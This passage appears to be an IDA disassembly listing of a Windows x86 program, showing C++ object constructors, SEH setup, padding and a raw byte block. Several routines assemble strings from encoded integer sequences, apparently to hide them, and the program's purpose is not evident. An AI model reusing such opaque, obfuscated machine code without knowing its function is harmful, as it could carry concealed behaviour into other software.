		lea	ecx, [esp+478h+var_420]
		mov	byte ptr [esp+478h+var_4], 3
		call	sub_401226
		inc	esi
		add	edi, 4
		cmp	esi, 0FFh
		jb	short loc_403591


loc_4035E7:				; CODE XREF: sub_4034E0+B5j
		mov	esi, [esp+478h+arg_0]
		lea	edx, [esp+478h+var_450]
		push	edx
		mov	ecx, esi
		call	sub_4014C9
		mov	[esp+478h+var_46C], 1
		lea	ecx, [esp+478h+var_450]
		mov	byte ptr [esp+478h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+478h+var_438]
		mov	byte ptr [esp+478h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+478h+var_468]
		mov	byte ptr [esp+478h+var_4], 0
		call	sub_401226
		mov	ecx, [esp+478h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 46Ch
		retn
sub_4034E0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4036B0	proc near		; CODE XREF: sub_401681j
		mov	eax, [ecx+9]
		retn
sub_4036B0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4036D0	proc near		; CODE XREF: sub_40129Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4036D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+9]
		call	sub_402207
		lea	ecx, [esi+52h]
		mov	[esp+14h+var_4], 0
		call	sub_402207
		lea	ecx, [esi+9Bh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_402207
		lea	ecx, [esi+0E4h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_402207
		lea	ecx, [esi+12Dh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_402207
		lea	ecx, [esi+176h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_402207
		lea	ecx, [esi+1BFh]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_402207
		lea	ecx, [esi+208h]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_402207
		lea	ecx, [esi+251h]
		mov	byte ptr [esp+14h+var_4], 7
		call	sub_402207
		lea	ecx, [esi+29Ah]
		mov	byte ptr [esp+14h+var_4], 8
		call	sub_402207
		lea	ecx, [esi+2E3h]
		mov	byte ptr [esp+14h+var_4], 9
		call	sub_402207
		lea	ecx, [esi+32Ch]
		mov	byte ptr [esp+14h+var_4], 0Ah
		call	sub_402207
		lea	ecx, [esi+375h]
		mov	byte ptr [esp+14h+var_4], 0Bh
		call	sub_402207
		lea	ecx, [esi+3BEh]
		mov	byte ptr [esp+14h+var_4], 0Ch
		call	sub_402207
		lea	ecx, [esi+407h]
		mov	byte ptr [esp+14h+var_4], 0Dh
		call	sub_402207
		lea	ecx, [esi+450h]
		mov	byte ptr [esp+14h+var_4], 0Eh
		call	sub_402207
		lea	ecx, [esi+499h]
		mov	byte ptr [esp+14h+var_4], 0Fh
		call	sub_402207
		lea	ecx, [esi+4E2h]
		mov	byte ptr [esp+14h+var_4], 10h
		call	sub_402207
		lea	ecx, [esi+52Bh]
		mov	byte ptr [esp+14h+var_4], 11h
		call	sub_402207
		mov	byte ptr [esp+14h+var_4], 12h
		lea	ecx, [esi+574h]
		call	sub_402207
		lea	ecx, [esi+5BDh]
		mov	byte ptr [esp+14h+var_4], 13h
		call	sub_402207
		lea	ecx, [esi+606h]
		mov	byte ptr [esp+14h+var_4], 14h
		call	sub_402207
		lea	ecx, [esi+64Fh]
		mov	byte ptr [esp+14h+var_4], 15h
		call	sub_402207
		lea	ecx, [esi+698h]
		mov	byte ptr [esp+14h+var_4], 16h
		call	sub_402207
		lea	ecx, [esi+6E1h]
		mov	byte ptr [esp+14h+var_4], 17h
		call	sub_402207
		lea	ecx, [esi+72Ah]
		mov	byte ptr [esp+14h+var_4], 18h
		call	sub_402207
		lea	ecx, [esi+773h]
		mov	byte ptr [esp+14h+var_4], 19h
		call	sub_402207
		lea	ecx, [esi+7BCh]
		mov	byte ptr [esp+14h+var_4], 1Ah
		call	sub_402207
		lea	ecx, [esi+805h]
		mov	byte ptr [esp+14h+var_4], 1Bh
		call	sub_402207
		lea	ecx, [esi+84Eh]
		mov	byte ptr [esp+14h+var_4], 1Ch
		call	sub_402207
		lea	ecx, [esi+897h]
		mov	byte ptr [esp+14h+var_4], 1Dh
		call	sub_402207
		lea	ecx, [esi+8E0h]
		mov	byte ptr [esp+14h+var_4], 1Eh
		call	sub_402207
		lea	ecx, [esi+929h]
		mov	byte ptr [esp+14h+var_4], 1Fh
		call	sub_402207
		lea	ecx, [esi+972h]
		mov	byte ptr [esp+14h+var_4], 20h
		call	sub_402207
		lea	ecx, [esi+9BBh]
		mov	byte ptr [esp+14h+var_4], 21h
		call	sub_402207
		lea	ecx, [esi+0A04h]
		mov	byte ptr [esp+14h+var_4], 22h
		call	sub_402207
		lea	ecx, [esi+0A4Dh]
		mov	byte ptr [esp+14h+var_4], 23h
		call	sub_402207
		lea	ecx, [esi+0A96h]
		mov	byte ptr [esp+14h+var_4], 24h
		call	sub_402207
		lea	ecx, [esi+0ADFh]
		mov	byte ptr [esp+14h+var_4], 25h
		call	sub_402207
		lea	ecx, [esi+0B28h]
		mov	byte ptr [esp+14h+var_4], 26h
		call	sub_402207
		lea	ecx, [esi+0B71h]
		mov	byte ptr [esp+14h+var_4], 27h
		call	sub_401749
		lea	ecx, [esi+0B9Fh]
		mov	byte ptr [esp+14h+var_4], 28h
		call	sub_401749
		lea	ecx, [esi+0BCDh]
		mov	byte ptr [esp+14h+var_4], 29h
		call	sub_401749
		lea	ecx, [esi+0BFBh]
		mov	byte ptr [esp+14h+var_4], 2Ah
		call	sub_401749
		lea	ecx, [esi+0C29h]
		mov	byte ptr [esp+14h+var_4], 2Bh
		call	sub_401749
		lea	ecx, [esi+0C57h]
		mov	byte ptr [esp+14h+var_4], 2Ch
		call	sub_401749
		lea	ecx, [esi+0C85h]
		mov	byte ptr [esp+14h+var_4], 2Dh
		call	sub_401749
		lea	ecx, [esi+0CB3h]
		mov	byte ptr [esp+14h+var_4], 2Eh
		call	sub_401749
		lea	ecx, [esi+0CE1h]
		mov	byte ptr [esp+14h+var_4], 2Fh
		call	sub_401749
		lea	ecx, [esi+0D0Fh]
		mov	byte ptr [esp+14h+var_4], 30h
		call	sub_401749
		lea	ecx, [esi+0D3Dh]
		mov	byte ptr [esp+14h+var_4], 31h
		call	sub_401749
		lea	ecx, [esi+0D6Bh]
		mov	byte ptr [esp+14h+var_4], 32h
		call	sub_401749
		lea	ecx, [esi+0D99h]
		mov	byte ptr [esp+14h+var_4], 33h
		call	sub_401749
		lea	ecx, [esi+0DC7h]
		mov	byte ptr [esp+14h+var_4], 34h
		call	sub_401749
		lea	ecx, [esi+0DF5h]
		mov	byte ptr [esp+14h+var_4], 35h
		call	sub_401749
		lea	ecx, [esi+0E23h]
		mov	byte ptr [esp+14h+var_4], 36h
		call	sub_401749
		lea	ecx, [esi+0E51h]
		mov	byte ptr [esp+14h+var_4], 37h
		call	sub_401749
		lea	ecx, [esi+0E7Fh]
		mov	byte ptr [esp+14h+var_4], 38h
		call	sub_4011A4
		lea	ecx, [esi+10C7h]
		mov	byte ptr [esp+14h+var_4], 39h
		call	sub_4011A4
		lea	ecx, [esi+130Fh]
		mov	byte ptr [esp+14h+var_4], 3Ah
		call	sub_4011A4
		lea	ecx, [esi+1557h]
		mov	byte ptr [esp+14h+var_4], 3Bh
		call	sub_4011A4
		lea	ecx, [esi+179Fh]
		mov	byte ptr [esp+14h+var_4], 3Ch
		call	sub_4011A4
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E000
		mov	byte ptr [esi+4], 0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4036D0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 110h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403C00	proc near		; CODE XREF: sub_401023j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403C00
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403C00	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403C70	proc near		; CODE XREF: sub_4011B3j
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43E004
		retn
sub_403C70	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403C90	proc near		; CODE XREF: sub_402207j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403C90
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401424
		lea	ecx, [esi+1Eh]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+33h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403C90	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403D10	proc near		; CODE XREF: sub_401AD2j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403D10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+33h]
		mov	[esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+1Eh]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403D10	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403D90	proc near		; CODE XREF: sub_401749j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403D90
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401424
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403D90	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403E00	proc near		; CODE XREF: sub_4011A4j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403E00
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_402207
		lea	ecx, [esi+49h]
		mov	[esp+14h+var_4], 0
		call	sub_402207
		lea	ecx, [esi+92h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_402207
		lea	ecx, [esi+0DBh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_402207
		lea	ecx, [esi+124h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_402207
		lea	ecx, [esi+16Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_402207
		lea	ecx, [esi+1B6h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_402207
		lea	ecx, [esi+1FFh]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_402207
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403E00	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403EE0	proc near		; CODE XREF: sub_40206Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403EE0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+1FFh]
		mov	[esp+14h+var_4], 6
		call	sub_401AD2
		lea	ecx, [esi+1B6h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401AD2
		lea	ecx, [esi+16Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401AD2
		lea	ecx, [esi+124h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401AD2
		lea	ecx, [esi+0DBh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401AD2
		lea	ecx, [esi+92h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401AD2
		lea	ecx, [esi+49h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401AD2
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401AD2
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403EE0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_403FC0	proc near		; CODE XREF: sub_401D34j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403FC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 48h
		push	ebp
		push	esi
		push	edi
		push	0
		push	4
		push	9
		push	4Fh
		lea	eax, [esp+70h+var_3C]
		push	2
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 18h
		push	esi
		mov	ecx, eax
		mov	[esp+64h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+0C29h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
sub_403FC0	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4
		push	0Eh
		push	12h
		push	4Fh
		lea	edx, [esp+48h]
		push	2
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+0BCDh]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	14h
		push	15h
		push	0Fh
		push	2
		push	1
		push	4Fh
		lea	ecx, [esp+40h]
		push	2
		push	ecx
		call	sub_4019B5
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 2
		call	sub_4017E4
		lea	edx, [esi+0C57h]
		push	eax
		push	edx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	12h
		push	15h
		push	3
		push	5
		push	13h
		push	4Fh
		lea	eax, [esp+44h]
		push	2
		push	eax
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 3
		call	sub_4017E4
		lea	ecx, [esi+0DF5h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Fh
		push	6
		push	0Eh
		push	9
		push	13h
		push	19h
		push	13h
		push	4Fh
		lea	edx, [esp+48h]
		push	2
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 4
		call	sub_4017E4
		push	eax
		lea	eax, [esi+0C85h]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	16h
		push	0Fh
		push	0Dh
		push	5
		push	12h
		push	4Fh
		lea	ecx, [esp+44h]
		push	2
		push	ecx
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 5
		call	sub_4017E4
		lea	edx, [esi+0B71h]
		push	eax
		push	edx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	13h
		push	0Eh
		push	4
		push	8
		push	13h
		push	15h
		push	0Ch
		push	6
		push	4Fh
		lea	eax, [esp+4Ch]
		push	2
		push	eax
		call	sub_4019B5
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 6
		call	sub_4017E4
		lea	ecx, [esi+0DC7h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Eh
		push	5
		push	10h
		push	0Fh
		push	4Fh
		lea	edx, [esp+3Ch]
		push	2
		push	edx
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 7
		call	sub_4017E4
		push	eax
		lea	eax, [esi+0D0Fh]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	14h
		push	9
		push	15h
		push	11h
		push	4Fh
		lea	ecx, [esp+3Ch]
		push	2
		push	ecx
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 8
		call	sub_4017E4
		lea	edx, [esi+0D99h]
		push	eax
		push	edx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	4
		push	0Dh
		push	3
		push	4Fh
		lea	eax, [esp+38h]
		push	2
		push	eax
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 9
		call	sub_4017E4
		lea	ecx, [esi+0E23h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Fh
		lea	edx, [esp+38h]
		push	2
		push	edx
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Ah
		call	sub_4017E4
		push	eax
		lea	eax, [esi+0D6Bh]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	13h
		push	0Eh
		push	4
		push	4Fh
		lea	ecx, [esp+38h]
		push	2
		push	ecx
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Bh
		call	sub_4017E4
		lea	edx, [esi+0D3Dh]
		push	eax
		push	edx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	0Dh
		push	9
		push	14h
		push	10h
		push	15h
		push	0Ch
		push	4Fh
		lea	eax, [esp+48h]
		push	2
		push	eax
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Ch
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+0CB3h]
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4Fh
		lea	edx, [esp+3Ch]
		push	2
		push	edx
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Dh
		call	sub_4017E4
		push	eax
		lea	eax, [esi+0CE1h]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		db 8Dh,	4Ch, 24h
		dd 247C8924h, 0CE20E85Ch, 4E8DFFFFh, 0D3D6E809h, 4C8DFFFFh
		dd 51500C24h, 0FFDC09E8h, 8C483FFh, 256A006Ah, 236A1D6Ah
		dd 3424548Dh, 0C752286Ah, 0E742444h, 0E8000000h, 0FFFFD57Dh
		dd 8B18C483h, 244C8DE8h, 2444C60Ch, 99E80F5Ch, 50FFFFD3h
		dd 91E8CD8Bh, 50FFFFD3h, 4435F468h, 60B56800h, 0A8E8004Dh
		dd 83FFFFD9h, 4C8D10C4h, 44C62424h, 0E80E5C24h,	0FFFFCDB2h
		dd 448D206Ah, 6A4024h, 244C8D50h, 0CE2CE818h, 0C88BFFFFh
		dd 5C2444C6h, 0D352E810h, 6850FFFFh, 4435F0h, 4E6E8568h
		dd 0CB8BE800h, 0C483FFFFh, 2444C60Ch, 4C8D0E5Ch, 73E83C24h
		dd 90FFFFCDh, 3DC3F6E8h, 0B8C88B02h, 10624DD3h,	0EAC1E1F7h
		dd 244C8D06h, 556890Ch,	5C247C89h, 0FFCD51E8h, 244C8BFFh
		dd 5D5E5F54h, 0D8964h, 83000000h, 90C354C4h, 2 dup(90909090h)
		dd 54h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_404640	proc near		; CODE XREF: sub_401A32j

var_88		= dword	ptr -88h
var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	0FFFFFFFFh
		push	offset SEH_404640
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 7Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+94h+arg_0]
		mov	ebp, ecx
		push	edi
		lea	ebx, [esi+2Ah]
		push	0
		mov	ecx, ebx
		mov	[esp+9Ch+var_88], ebp
		call	sub_40146F
		mov	cl, [eax]
		lea	edi, [esi+69h]
		cmp	cl, 23h
		jnz	short loc_404682
		push	ebx
		jmp	short loc_404686
; ---------------------------------------------------------------------------


loc_404682:				; CODE XREF: sub_404640+3Dj
		lea	eax, [esi+15h]
		push	eax


loc_404686:				; CODE XREF: sub_404640+40j
		mov	ecx, edi
		call	sub_401FBE
		mov	al, [esi+94h]
		test	al, al
		jz	short loc_4046A2
		lea	ecx, [esi+15h]
		push	ecx
		mov	ecx, edi
		call	sub_401FBE


loc_4046A2:				; CODE XREF: sub_404640+55j
		mov	al, [esi+95h]
		test	al, al
		jz	short loc_40471F
		lea	ecx, [esp+98h+var_6C]
		call	sub_401424
		push	offset aO	; " -o"
		mov	ecx, esi
		mov	[esp+9Ch+var_4], 0
		call	sub_4013E3
		add	eax, 3
		lea	edx, [esp+98h+var_54]
		push	eax
		push	edx
		mov	ecx, esi
		call	sub_401E2E
		push	eax
		lea	ecx, [esp+9Ch+var_6C]
		mov	byte ptr [esp+9Ch+var_4], 1
		call	sub_401FBE
		lea	ecx, [esp+98h+var_54]
		mov	byte ptr [esp+98h+var_4], 0
		call	sub_401226
		lea	eax, [esp+98h+var_6C]
		mov	ecx, edi
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+98h+var_6C]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226


loc_40471F:				; CODE XREF: sub_404640+6Aj
		push	offset asc_443600 ; " "
		lea	ecx, [esp+9Ch+var_6C]
		push	0
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		lea	edx, [esp+98h+var_54]
		mov	ebx, 2
		push	1
		push	edx
		mov	ecx, eax
		mov	[esp+0A0h+var_4], ebx
		call	sub_401E2E
		lea	edi, [esi+7Eh]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+9Ch+var_4], 3
		call	sub_401FBE
		lea	ecx, [esp+98h+var_54]
		mov	byte ptr [esp+98h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+98h+var_6C]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		push	0
		lea	ecx, [ebp+32Ch]
		call	sub_40146F
		push	0
		mov	ecx, esi
		mov	ebp, eax
		call	sub_40146F
		mov	al, [eax]
		mov	cl, [ebp+0]
		cmp	al, cl
		jnz	loc_4049EA
		push	0
		push	14h
		push	1
		push	5
		push	10h
		push	5
		push	12h
		push	4Eh
		push	14h
		push	0Fh
		lea	ecx, [esp+0C0h+var_54]
		push	ebx
		push	ecx
		call	sub_4019B5
		add	esp, 30h
		mov	ecx, eax
		mov	[esp+98h+var_4], 4
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40480F
		sub	esp, 18h
		lea	edx, [esi+15h]
		mov	ecx, esp
		mov	[esp+0B0h+arg_0], esp
		push	edx
		call	sub_4014C9
		mov	ecx, offset word_448C9E
		call	sub_401CD0
		test	eax, eax
		jz	short loc_40480F
		mov	bl, 1
		jmp	short loc_404811
; ---------------------------------------------------------------------------


loc_40480F:				; CODE XREF: sub_404640+1A6j
					; sub_404640+1C9j
		xor	bl, bl


loc_404811:				; CODE XREF: sub_404640+1CDj
		lea	ecx, [esp+98h+var_54]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		test	bl, bl
		jz	loc_4049CE
		push	offset asc_443600 ; " "
		lea	eax, [esp+9Ch+var_54]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		push	offset byte_446F70
		mov	ecx, eax
		mov	[esp+9Ch+var_4], 5
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+98h+var_54]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		setz	bl
		call	sub_401226
		test	bl, bl
		jnz	loc_4049EA
		push	offset asc_443600 ; " "
		lea	ecx, [esp+9Ch+var_54]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+var_4], 6
		call	sub_4017E4
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		lea	ecx, [esp+98h+var_54]
		mov	ebp, eax
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		test	ebp, ebp
		jz	loc_4049EA
		push	20h
		mov	ecx, esi
		call	sub_401D20
		lea	edx, [esp+98h+var_84]
		push	eax
		push	edx
		mov	ecx, esi
		call	sub_401E2E
		mov	ebx, 7
		push	20h
		lea	ecx, [esp+9Ch+var_84]
		mov	[esp+9Ch+var_4], ebx
		call	sub_401D20
		push	eax
		lea	eax, [esp+9Ch+var_54]
		push	eax
		lea	ecx, [esp+0A0h+var_84]
		call	sub_401E2E
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		mov	byte ptr [esp+9Ch+var_4], 8
		call	sub_40200E
		lea	ecx, [esp+98h+var_54]
		mov	byte ptr [esp+98h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+98h+var_84]
		push	ecx
		mov	ecx, esi
		call	sub_401FBE
		push	offset asc_443600 ; " "
		lea	edx, [esp+9Ch+var_24]
		push	0
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		lea	ecx, [esp+98h+var_3C]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+0A0h+var_4], 9
		call	sub_401E2E
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+9Ch+var_4], 0Ah
		call	sub_401FBE
		lea	ecx, [esp+98h+var_3C]
		mov	byte ptr [esp+98h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+98h+var_24]
		mov	byte ptr [esp+98h+var_4], bl
		call	sub_401226
		mov	al, [esp+98h+arg_4]
		test	al, al
		jnz	short loc_4049A7
		test	ebp, ebp
		jle	short loc_4049B8


loc_404998:				; CODE XREF: sub_404640+363j
		mov	ecx, [esp+98h+var_88]
		push	esi
		call	sub_401F69
		dec	ebp
		jnz	short loc_404998
		jmp	short loc_4049B8
